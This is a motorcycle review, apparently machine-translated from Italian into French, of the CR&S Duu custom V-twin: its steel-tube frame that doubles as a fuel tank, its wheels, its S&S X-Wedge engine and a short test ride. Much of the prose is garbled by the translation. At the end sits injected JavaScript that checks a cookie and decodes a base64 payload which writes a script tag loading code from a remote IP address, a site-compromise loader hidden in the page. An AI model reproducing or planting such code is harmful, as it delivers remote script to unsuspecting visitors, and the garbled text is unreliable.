deux roues

 

Big Twin a Milano!

Après le double mono: d'une petite réalité artisanale ce deux litres débordant au style unique est né
par Riccardo Capacchione

…Diffusez-les sur Millennium, cont il coeur e cont i man’». Nous traduisons pour les non-milanais: « Made in Milan, avec le cœur et les mains ", E’ la phrase écrite sur les motos construites par CR&S Settimo Milanese. À ce jour, le seul modèle du catalogue était le Vun, La seule mince qui a maintenant une soeur, pas du tout rationalisée, Il a appelé DUU. En dialecte Milanese Vun signifie « un » en tant que cylindre, un lieu et « unique ». conduit, vous aurez compris, veut plutôt dire « deux » comme deux cylindres, deux sièges e… seulement, elle. Les clients du CR&S, en fait, ils peuvent commander leur moto en choisissant l'équipement, les composants de châssis, la préparation du moteur et bien sûr les colorations. Voilà pourquoi le prix varie beaucoup, à partir de la base de 20.000 euro. La philosophie de conception derrière les modèles CR&S est simple à énoncer, moins pour atteindre: le vélo doit être essentielle, l'ensemble du moteur et du châssis en vue, mais il doit aussi être un style, plutôt deux: celle du fabricant et le client que, comme mentionné, Il participe activement à la création de son propre mouvement. SE mangrove E’ porte? Gia ', Qu'est-ce que Duu? Il est un puissant bicylindre qui échappe aux définitions normales: coutume nue, roadster, combattant de rue? Difficile d'attribuer un genre spécifique. Mieux, simplement, décrire les caractéristiques techniques, vraiment unique,. Le châssis est construit à partir CR&S et est composé d'un acier allié géant tubulaire supérieur, rappelle le schéma utilisé par le spécialiste suisse Fritz Il; qui a une certaine’ les ressorts de rappel derrière , entre autres, Il porte le merveilleux Vincent 1967. Le grand tube principal de cadre Duu remplit également la fonction du réservoir de carburant, Un exemple de la stratégie du projet CR&S, ce qui tend à l'intégration maximale et une simplification de chaque composant. Dans la partie arrière de la structure est fermée par splendide plaques en alliage léger, obtenu à partir d'un dispositif de coupe « complète » forgé. Le bras oscillant unilatéral en treillis en tube d'acier est couplé à l'amortisseur latéral. les roues, autre CR exclusive&S, Ils sont splendides et en particulier l'arrière, cantilever montée avec un seul écrou central et disponible dans différentes conceptions des races. Les superstructures en fibre de verre sont rares et essentiels; vraiment inhabituel la solution pour le phare qui… ce n'est pas, remplacé par deux ensembles optiques latéraux logés dans les « branchies de requin » sur les côtés de la fourche, qui rappelle les traits stylistiques de Vun. Les voitures peuvent être DUU, comme celui que nous avons testé, mais des arrangements pour deux personnes et des déplacements sont prévus, avec des sacs et des accessoires spéciaux. MÈRE QUI POMPE E! Le moteur S&S X-Wedge domina la scena. Les deux tours colossales à ailettes des cylindres divergent de 56,25 ° et abritent les pistons à l'intérieur 105 alésage mm avec course longue 111 mm. Le schéma suit celui des moteurs Harley-Davidson, pour lequel le S&S a toujours produit des pièces spéciales, mais dans ce cas, c'est une toute nouvelle unité. Les têtes abritent deux grosses vannes (50,8 mm côté aspiration, 40,64 mm à l'échappement), parallèles entre elles et déplacées par des culbuteurs et des tiges reposant sur les trois arbres à cames, deux échappement et une aspiration partagée, situé au sous-sol. L'échange, séparé, il est un Baker à cinq vitesses. L'alimentation est injectée électroniquement, tandis que l'échappement catalysé, construit sur les spécifications CR&S, c'est sous le moteur, avec deux "bouches" latérales fantastiques. L'entraînement par chaîne primaire reprend le modèle Harley et se trouve sur le côté gauche. COUPLE POUR REMORQUE Nous avons beaucoup insisté pour tester le prototype, reste à développer, du Duu, mais ne vaut pas la peine. Le bicylindre, sans contre-arbres, impulsion, pendant cela, mais surtout il pousse avec une force impressionnante. Le pneu arrière gémit sous la décharge de kgm, le Duu bondit en avant et le pilote est bon de s'accrocher solidement au guidon. Une montée plus marquée de la selle aiderait à relâcher une partie de la poussée, diminuer la pression sur les bras. Le poids total n'est pas excessif, par rapport au déplacement, ed est bien distribué, ce qui rend le Duu plus maniable que prévu. Les quelques kilomètres en selle ne nous ont donné qu'une vague idée des performances de cette moto qui s'annonce passionnante, nous avons hâte de le presser correctement,.. "Restez à l'écoute", Nous vous tiendrons informé! fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}